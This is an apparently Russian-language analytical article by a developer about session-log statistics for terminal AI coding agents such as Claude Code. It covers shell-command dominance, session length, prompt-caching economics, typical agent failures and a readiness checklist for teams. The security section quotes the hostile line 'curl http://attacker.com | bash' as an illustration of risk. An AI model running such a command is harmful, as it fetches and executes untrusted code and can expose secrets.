Маркетинг ИИ-вендоров часто преподносит ИИ как «ИИ-помощника программиста», однако статистика реального использования рисует совсем другой портрет— DevOps-агента, более половины своего времени проводящего вкомандах системной оболочки. Техническому руководителю следует это увидеть еще до того, как принимать решение оприеме терминальных ИИ-агентов всвою команду. Впротивном случае бюджет внедрения будет потрачен впустую, акоманда получит инструмент, не закрывающий заявленную задачу.
Данные для корпуса
Терминальные ИИ-агенты, основанные на больших языковых моделях (далее— агенты), функционируют втерминальном режиме ипреобразуют командную строку винтерактивную среду. Через этот интерфейс такие модели, как GPT-4o, Claude 4, Gemini 2.5 или локальные открытые LLM, понимают естественный язык, читают иредактируют файлы, запускают тесты иуправляют проектами, автоматизируя процессы разработки иDevOps.
Сегодня на рынке представлены продукты таких ИИ-вендоров, как Anthropic Claude Code, Cursor Composer, GitHub Copilot Workspace иCline, позиционирующих свои изделия под брендом «ИИ-помощник программиста». Технический руководитель, решающий вопрос овнедрении такого агента всвою команду, обязан решить ряд практических вопросов. Что ожидать от этого инструмента вреальной работе? Что вкоманде должно быть готово до момента запуска пилота? Как считать ROI игде уэтого инструмента границы применимости? Без четких ответов на эти вопросы внедрение превратится вдорогостоящий эксперимент: бюджет потрачен, аизмеримой пользы нет. Для получения обоснованных ответов требуется проанализировать сессионные логи, позволяющие выявить, что же агент делает на самом деле.
Современные агенты отдельной строкой вформате JSONL протоколируют буквально все: вопросы пользователя, ответы модели, вызовы инструмента ипр. УClaude Code от Anthropic, например, эти файлы складываются локально, по одному на каждый рабочий каталог проекта, поэтому именно его— благодаря прозрачности локального лога— имеет смысл выбрать для анализа (уостальных средств протоколирование либо почти недоступно стороннему наблюдателю, либо находится исключительно на стороне поставщика ивоткрытом виде недоступно).
Для анализа сессионных логов, позволяющих выявить реальное поведение агента, был собран корпус данных на смешанной выборке проектов разной природы имасштаба. Однако надо иметь ввиду, что за время автоматического разбора сессионных логов сам инструмент может обновиться— такие инструменты меняются настолько быстро, что ивнутреннее обучение, илюбая фиксация процессов могут устареть кмоменту окончания пилота. Именно поэтому надо фокусироваться не на конкретных особенностях текущей реализации, ана структурных закономерностях класса инструментов вцелом— все выводы надо делать именно на уровне общего паттерна ипри оценке внедрения настоятельно рекомендуется выстраивать свои решения втой же логике— иначе любая внутренняя методика рискует устареть быстрее, чем команда успеет ею воспользоваться. Кроме этого, Claude Code здесь рассматривается лишь как представитель класса инструментов, ане как главный герой: доминирование Bash, бимодальность распределения сессий иповедение кэша контекста следует считать характеристиками не конкретной модели Anthropic, аобщего паттерна «терминальный ИИ-агент, работающий впродолжительной автономной сессии». Вподтверждение того, что речь идет оструктурных закономерностях, достаточно посмотреть, вкакую сторону развиваются конкуренты: Cursor добавил background-агентов ирасширил автономный режим, GitHub Copilot Workspace заметно сместился кдлинным задачам от заявки до готового pull request, Cline иAider открыто позиционируют себя уже не как редакторы кода, акак оркестраторы задач. Все четыре инструмента движутся водном направлении, аописанные здесь закономерности: доминирование shell-операций, бимодальность сессий, экономический эффект кэширования— вцелом сохраняются при смене инструмента.
Bash, ане Edit
Уже первый исамый важный для руководителя вывод из разбора корпуса идет вразрез спривычным маркетинговым позиционированием «ИИ-помощников программиста»: больше половины всех вызовов инструментов вкорпусе— это не правка файлов кодов, акоманды воболочке. Однако иAnthropic, иCursor, иGitHub идр. продают этот инструмент именно как помощник программиста, апокупатель ожидает получить «генератор кода». Фактическое распределение вызовов показывает другую картину: Bash— 56%, Read— 16%, Edit— 15%, Write— 7%, прочие (TaskUpdate, Agent, WebSearch идр.)— 6%. Что агент делает вBash, видно из таблицы.
Получается, что около половины всего Bash-времени агента уходит на работу сконтейнерами исистемой управления версиями Git, авовсе не на редактор программного кода, как заявлено вмаркетинговых описаниях ИИ-вендоров. Сборки итесты добавляют еще примерно пятую часть, все остальное— обслуживающие операции вроде перемещения файлов, диагностики сети иустановки зависимостей. Команды, закупающие «ИИ-помощника» под одно позиционирование иполучающие вработе другое, рискуют распланировать пилот неверно ипотерять время. Фокус работы агента смещен всторону инфраструктуры, иэто надо иметь ввиду при планировании внедрения.
Соотношение между правкой уже существующего кода иего генерацией снуля— разница между вызовами Edit иWrite— оказывается примерно вдвое больше впользу правок: на каждую написанную снуля строку приходится около двух правок уже существующего кода. Снуля агент почти ничего не пишет— его работа восновном сводится ктому, чтобы крутить уже существующий код, исправлять его вработающей инфраструктуре инастраивать его окружение.
Отдельного внимания заслуживают оставшиеся вызовы вкорпусе, вкоторые попали TaskUpdate (встроенная система ведения задач), Agent (запуск суб-агентов для длинных побочных активностей), WebSearch инесколько специализированных инструментов. Их доля вобщем балансе вызовов невелика, но именно эти средства обеспечивают переход агента вмарафонский режим работы, чтобы он мог часами работать без участия человека. Адля этого ему нужен не очередной «лучший автокомплит», аспособность планировать свои действия, делегировать побочные задачи исверять собственный результат споставленной целью. Edit иWrite— это инструменты исполнителя, тогда как TaskUpdate иAgent— это уже управленческие функции, ипродакт-команды агентов сегодня инвестируют именно вэту менее заметную, но критическую часть инструмента.
Итак, важный вывод для архитектора: ROI инструментов ИИ вбольшей степени зависит от готовности инфраструктуры, ане от способности агента «писать код». Команда, укоторой заранее упакованы Docker-образы под типовые задачи, настроен SSH-доступ кстендам иразвернуты локальные зеркала зависимостей, получит от агента кратно больше пользы, чем команда, рассчитывающая на магическую силу ИИ по написанию программы. Аэто меняет состав инвестиций при внедрении ИИ впроцесс программирования— следует сначала вкладываться впрограммную инженерию (platform engineering) икультуру разработки, ауже потом— впромпт-инжиниринг. Команды, которые делают наоборот, разочаровываются винструменте именно потому, что инфраструктурная часть не готова, аагент тратит свое время на борьбу сокружением, ане на то, ради чего это окружение существует,— на программу, которая работает внутри него. Этот вывод справедлив для всего класса терминальных ИИ-агентов: смена конкретного продукта на инструмент другого вендора при той же неготовности инфраструктуры даст ровно такой же результат.
ИИ-агент, да не тот
Разберем теперь задачи, на которых агенты либо стабильно проваливаются, либо требуют столько ручной коррекции, что выгода от ИИ-автоматизации полностью исчезает. Руководителю, оценивающему внедрение ИИ-агентов, изначально важно держать вголове их ограничения, чтобы заранее определить, какие задачи имеет смысл им поручать, акакие— оставить за человеком. От этого напрямую зависит исостав пилотной команды, иитоговый ROI. Можно выделить три класса задач, ограничивающих применение агента.
Первый, наиболее очевидный класс— все, что связано сфронтендом ипользовательским интерфейсом. Закономерность, по которой агент уверенно работает там, где есть формализуемые контракты, ибуксует там, где их нет, наглядно подтверждается параллельным наблюдением: backend-сервис сподробно описанным API закрыл план в16 подзадачах из 16, тогда как параллельно реализуемый frontend-сервис по той же методологии не закрыл ни одной из 15. Backend выступает здесь контрольной группой сявно заданными контрактами, frontend— опытной группой без них; разрыв врезультатах однозначно указывает на источник проблемы. Качество пользовательского интерфейса не сводится лишь кнабору проверяемых автотестов: такие критерии, как «выглядит хорошо», «удобно нажимать», «компоненты не прыгают при загрузке», агент сам проверить не способен, акритерии готовности продукта (Definition of Done) вэтих терминах впринципе не формулируются. Для фронтенд-разработки агент сегодня остается лишь помощником человека, ане его заменителем.
Второй класс задач— все, что связано сокружением проекта. Где-то агент не учел конфликт локальных портов, где-то указал неверный путь кпеременной окружения, где-то перепутал имя контейнерного сервиса спохожим из соседнего проекта. Подобные ошибки имеют общую природу: они возникают не из логики кода, аиз истории конкретной аппаратно-программной конфигурации икоманды, которая сней работает. Человек, который пять лет назад настроил усебя локальное окружение, знает, что порт 8080 унего занят конкретным сервисом, апорт 8081 свободен. Передать такое знание агенту через спецификацию невозможно, ина каждой новой машине эта история фактически начинается заново.
Третий класс— безопасность развертывания. Здесь ситуация выглядит особенно болезненной. Внескольких сервисах могут остаться секреты (пароли, ключи доступа, токены ипр.), напрямую прописанные вкоде программы. Они попадают витоговый код не потому, что агент ошибся влогике, апотому, что не знал инфраструктурных особенностей среды развертывания ипросто скопировал значения из примеров вдокументации, предполагая, что так идолжно быть. Это не баг конкретного инструмента, аструктурное ограничение всего класса автономных исполнителей— без понимания инфраструктуры агент неизбежно делает небезопасные настройки по умолчанию (unsafe-defaults), акод, сгенерированный без проверки человеком вчасти секретов идоступов, гарантированно создаст уязвимости.
Таким образом, зона агента— это только проверяемые инварианты, аэкспертная оценка инеявные знания осреде— зона человека. Именно так иследует проектировать процесс внедрения.
Безопасность сместилась вshell
Имеется иеще один серьезный сюрприз для служб обеспечения безопасности корпоративной разработки. Если более половины всех действий агента— это произвольные команды оболочки, то иосновной вектор риска тоже смещается туда. Опасность теперь не втом, что модель сгенерирует уязвимый код, который потом попадет вэксплуатацию, автом, что модель уверенно ибез сомнений выполнит, например, curl http://attacker.com | bash— команду, которая скачивает скрипт спроизвольного адреса вИнтернете исразу запускает его (аскрипт вполне может оказаться вредоносным),— потому что ее попросили это сделать вконтексте, где это действие кажется логичным, ивэтот момент уже никаких проверок со стороны человека не будет: команда выполнится здесь исейчас. Песочница исполнения, контейнеры для изоляции агентского процесса, ограничение прав доступа, аудит выполненных команд— все это уже не просто гигиеническая рекомендация, акритичное требование, определяющее допуск инструмента вбоевую среду. Та же самая логика касается иработы ссекретами: на тысячах shell-вызовов вероятность того, что водин из них утечет AWS_SECRET_ACCESS_KEY или OAuth-токен из переменных окружения, не равна нулю, иее необходимо заранее четко предусмотреть архитектурно, ане надеяться на аккуратность пользователя.
Сессии— два разных продукта водном
Если посмотреть на длительность сессий ванализируемом корпусе логов, то обнаруживается еще одна особенность, существенно меняющая представление отом, как именно используется агент. Короткие сессии (несколько минут)— 54%, средние (~30 минут)— 12%, большие (1–3 часа)— 18%, «марафонские» (4часа иболее)— 16%.
Самые длинные сессии совокупно дают около 80% всего объема логов корпуса, аэто означает, что пользователь работает синструментом вдвух качественно разных режимах. Водном случае (54% всех сессий) он задает короткий вопрос, получает ответ изакрывает терминал, вдругом (16%)— запускает многочасовой агентный прогон иуходит заниматься другими делами, периодически проверяя, как идут дела. Серединных сессий, вкоторых пользователь испросил, ипоработал, изакрыл, вкорпусе практически нет.
Это значит, что на практике агент— это не один продукт, адва сосуществующих водной оболочке. Впервом режиме— назовем его режимом консультанта— пользователь использует агента для объяснения незнакомого фрагмента чужого кода, поиска способа решения известной задачи или превращения строки на естественном языке воднострочник на интерпретируемом языке скриптов AWK. Во втором— режиме автономного исполнителя— агенту поручается серьезная инженерная задача, ион часами самостоятельно над ней работает: улучшить структуру кода модуля, развернуть весь жизненный цикл сервиса, прогнать миграцию базы данных спереписыванием всех затронутых запросов ипр.
При разборе содержимого самых длинных сессий из корпуса обнаруживается типичный сценарий— многошаговая инженерная задача, которую человек обычно выполняет за один спринт: подъем нового микросервиса снуля, от выбора структуры каталогов до первого успешного CI-прохода; миграция базы данных спереписыванием всех затронутых запросов иобновлением тестов; рефакторинг авторизации вработающем сервисе ссохранением обратной совместимости; разработка интеграционного теста на стенде среальными внешними API. Каждая такая сессия— это десятки часов машинного времени, арасход токенов языковых моделей на ввод ивывод исчисляется десятками миллионов. Без механизма кэширования контекста экономика подобных сессий просто не сходилась бы: ROI съели бы расходы на повторную загрузку контекста при каждом следующем шаге.
Усредненная метрика «средняя длина сессии», которую любят показывать ИИ-вендоры, для распределения такой природы бессмысленна. Стоимость, скорость иROI уконсультативных имарафонских сессий принципиально разные, исчитать их вместе— это средняя температура по больнице. Корпоративные оценки эффективности агентов, если они нужны для обоснования расходов на LLM, имеет смысл сразу разделять по двум режимам исчитать ROI каждого отдельно. Бимодальность здесь— структурное свойство класса, ане текущей реализации Claude Code: попытка усреднить два качественно разных режима будет давать бессмысленную цифру вне зависимости от того, чьим именно агентом пользуется команда.
Кэш меняет экономику ИИ
Еще один неожиданный результат разбора корпуса непосредственно касается экономики ИИ, тесно зависящей от механизма кэширования промптов.
Prompt caching (кэширование промптов)— механизм, при котором длинный неизменный фрагмент контекста (описание проекта, открытые файлы, история переписки, инструкции системного промпта ипр.) загружается вмодель один раз ипомечается на стороне поставщика как кэшируемый. При всех последующих обращениях модель не пересчитывает этот фрагмент снуля, ачитает его из кэша. Запись вкэш обходится чуть дороже обычного input-токена оплаты работы LLM (примерно в1,25 раза уClaude Opus), но чтение из кэша— вдесять раз дешевле обычного input. Получается, что если один итот же контекст переиспользуется хотя бы два-три раза подряд, то экономия от чтения существенно превышает наценку за запись.
За время формирования корпуса через кэш модели прошло более пяти миллиардов прочитанных токенов, что на порядки больше записанных исгенерированных, вместе взятых. Соотношение прочитанных из кэша токенов кзаписанным составило примерно 39:1, иначе говоря, каждая записанная вкэш единица контекста использовалась затем повторно всреднем 39 раз. Именно этим иобъясняется, почему агенты вмарафонских сессиях оказываются экономически осмысленными: без кэша input-нагрузка обошлась бы примерно в76 тыс. долл. (потарифу Claude Opus), тогда как скэшем фактическая нагрузка пересчитывается приблизительно в11 тыс. Экономия налицо.
На практике реальный пользователь платит за такую же нагрузку значительно меньше: например, для индивидуальных инебольших командных сценариев уAnthropic имеются подписки Max, Pro иTeam, внутри которых описанный объем вмещается всотню долларов вмесяц (актуальные тарифы— anthropic.com/pricing). Однако даже сучетом подписочной экономии важен сам масштаб: разница между «76 тыс.» и«11 тыс.» долларов за один итот же период работы— это уже не вопрос оптимизации, аграница между «не запускаем проект вовсе» и«спокойно масштабируем задачу на десятки людей». Без эффективного кэширования контекста длинные агентные сессии экономически неприемлемы, однако именно такие сессии создают эффект автономного ИИ-исполнителя, ради которого иприобретаются ИИ-инструменты.
Появление prompt caching существенно меняет илогику закупки ИИ-инструментов. Традиционно корпоративные оценки стоимости LLM-инструментов делались по «номинальному» тарифу, поэтому большие проекты ИИ быстро упирались впотолок ROI: чем шире контекст, тем дороже каждая итерация. Среальным кэшированием промптов картина обратная: чем глубже команда уходит винструмент ичем длиннее держит открытый контекст (объем данных, который система ИИ может держать впамяти иобрабатывать за один раз), тем дешевле обходится каждый следующий запрос. Если раньше работала рекомендация «задавай короткие точные вопросы», то теперь она сменилась на противоположную— «держи открытый контекст инаращивай его постепенно».
Привычка формируется занесколько недель
Еще один важный наблюдаемый эффект— это динамика обучения пользователя работе синструментом.
Исследование показало, что доля Bash остается стабильной— профиль того, что агент делает, не меняется со временем, однако заметно меняется глубина сессий: медианное число tool-вызовов растет. Пользователь постепенно учится выжимать из инструмента максимум за один заход— формулирует запросы шире, доверяет агенту больше шагов подряд, перестает страховаться излишними проверками каждого промежуточного результата. Сточки зрения безопасности это скорее нейтральный факт— сама безопасность должна идти отдельным контуром от написания кода, апроверки на уязвимости, секреты иопасные команды должны выявлять недочеты вне зависимости от того, какая методология применялась при создании кода. При этом для самого пользователя осмысленность работы остается ценностью— чем точнее формулируется задача ичем лучше пользователь понимает, что именно делегирует, тем меньше потом приходится править то, что уже было сделано.
Качественно сдвиг выглядит примерно так. Вначале периода обучения типичная сессия— это: «как пишется этот синтаксис», «где вкоде объявлена эта переменная», «что делает этот SQL». Пользователь использует агента ровно так же, как раньше использовал поисковик, только сболее удобным форматом ответа. Кконцу обучения типичная сессия выглядит уже иначе: пользователь дает агенту цель верхнего уровня— например, «подними новый сервис на FastAPI сметриками Prometheus, протестируй изакомми». Агент выполняет несколько десятков шагов самостоятельно, ачеловек проверяет результат на выходе. Эта эволюция занимает недели регулярной работы. Главное приобретение пользователя за это время— не специфические трюки одного инструмента, апонимание того, на что вообще способен агент: какие задачи ему можно доверить решать полностью, какие лучше разбить, агде агент буксует. При смене инструмента на изделие другого вендора это понимание восновном переносится, азаново настраиваются только частности: синтаксис конкретных команд, стиль запросов, особенности работы сдлинными контекстами вконкретной модели.
Важный вывод для технических руководителей, рассматривающих целесообразность внедрения агентов. Трехдневный пилот покажет только тот режим работы, вкотором пользователь нервничает ипроверяет каждый шаг, потому что еще не освоился синструментом, реальный ROI которого начинает проявляться только через несколько недель регулярной работы, когда пользователь привыкает делегировать многошаговые сценарии идоверять промежуточным результатам. Короткие пилоты систематически занижают потенциал инструмента— это структурная проблема корпоративных решений озакупке. Минимально разумный срок пилота— четыре-шесть недель, аоценивать ROI до окончания этого срока смысла нет.
Чек-лист готовности команды
Можно предложить список проверок, помогающих заранее оценить, готова ли команда подключать ИИ-агента креальным проектам создания ПО или пока надо ограничиться экспериментами на изолированных личных, некоммерческих задачах. Если на половину или больше пунктов из этого списка получен ответ «нет», то пилот провалится не из-за самого инструмента, аиз-за неготовности окружения, вкоторое его пытаются встроить.
- Среда разработки воспроизводима без участия конкретного человека. Если новый разработчик не может поднять проект по README.md за час самостоятельно, то агент его тоже не поднимет.
- Все секреты вынесены из репозитория. Vault, AWS Secrets Manager, sealed-secrets— что угодно, но не application.properties (файл конфигурации) спаролями висходном коде.
- Имеется готовый Docker-образ под типовую задачу команды. Не «соберите образ сами по инструкции», авыверенная команда для загрузки образов (docker pull)— исразу кработе.
- Тесты запускаются одной командой без предварительной подготовки окружения. Если перед тестами нужно «поправить вот эту переменную ипочистить кэш», то агент будет непрерывно спотыкаться.
- CI-конвейер выполняется за разумное время. Если время от момента написания кода разработчиком до его развертывания на производственной среде составляет сорок минут, то иагент будет ждать его так же, как ичеловек, потратив на это итокены оплаты, икалендарное время.
- Имеется отдельный регламент анализа кода для агентских PR (Pull Request). Не «как обычно», асучетом специфики ИИ: дополнительная проверка секретов вкоде, аудит сторонних сервисов, ккоторым агент обращался, контроль миграций базы данных.
- Команда готова инвестировать несколько недель вадаптацию. Если пилот оценивается за одну неделю, его лучше ине начинать— выводы будут заведомо неполными.
Половина пунктов этого списка— это базовая платформная гигиена, полезная ибез всяких ИИ-агентов. Однако вконтексте внедрения агентов она перестает быть лишь хорошей практикой, астановится обязательной: команды, укоторых эти пункты не закрыты, обычно получают от агента опыт, похожий на работу со стажером без знания среды,— он вроде бы что-то делает, но при этом постоянно что-нибудь ломает.
Что дальше?
Сегодня заметно меняется сам профиль работы программиста рядом сагентом. Фокус внимания человека перемещается снаписания кода на формулировку задачи, проверку результата иотслеживание пограничных случаев. Это не уход программирования как профессии, асмена пропорций. Привычные 80% времени на код и20% на его анализ меняются местами. Ключевыми навыками становятся: четкая постановка задачи инаправление работы агента (поумолчанию агент пишет всобственном стиле, но при грамотно сформулированном контексте соблюдает архитектуру истиль конкретного проекта, анавык «направления» становится новым умением, которое заменяет привычное «писать код руками»); декомпозиция задачи на проверяемые подзадачи (Definition of Done превращается из формальности врабочий артефакт повседневной разработки); владение инфраструктурой.
Все чаще встречаются проекты, где агент пишет систему практически снуля, включая структуру репозитория, выбор зависимостей ибазовый каркас сервисов,— втаких сценариях речь уже идет не оправке чужого кода, аопроектировании совместно сагентом. Условный «ИИ-нативный» разработчик ближайшего будущего— не тот, кто умеет писать промпты, атот, кто умеет проектировать процесс, вкоторый агент встроен вкачестве одного из инструментов, аэто уже скорее роль тимлида или техлида, чем senior-программиста.
***
За приведенной картиной анализа корпуса видна не особенность одного конкретного ИИ-инструмента, аструктурный паттерн всего класса терминальных ИИ-агентов. Состав игроков вэтом сегменте на горизонте следующих двух-трех лет наверняка сменится, однако сами закономерности, по которым этот класс инструментов живет иразвивается, останутся прежними.
Рыночное позиционирование агента как «ИИ-помощника программиста» часто вводит руководителей взаблуждение, итакое позиционирование одинаково характерно для всех крупных ИИ-вендоров (Anthropic, Cursor, GitHub, Cognition). Фактически современный агент представляет собой «умный» DevOps, акоманды, планирующие его внедрение, выигрывают лишь тогда, когда начинают сподготовки инфраструктуры, ане скурсов по prompt engineering. Платформная команда, способная обеспечить агенту воспроизводимую среду, контейнеры сзависимостями, чистые секреты иавтоматизированные тесты,— вот та первая инвестиция, которая дает максимальную отдачу. Промпт-инжиниринг при этом не исчезает, но его роль вторична: сначала инфраструктура, потом обучение людей. Команды, которые делают это вобратном порядке, как правило, разочаровываются винструменте ивозвращаются кручной разработке, упустив тот самый эффект, ради которого изатевалось внедрение инструментов ИИ.
Александр Огуречников (alexogur04@gmail.com)— ведущий Java-разработчик, команда антифрод-платформы B2B, крупный российский ретейлер (Москва).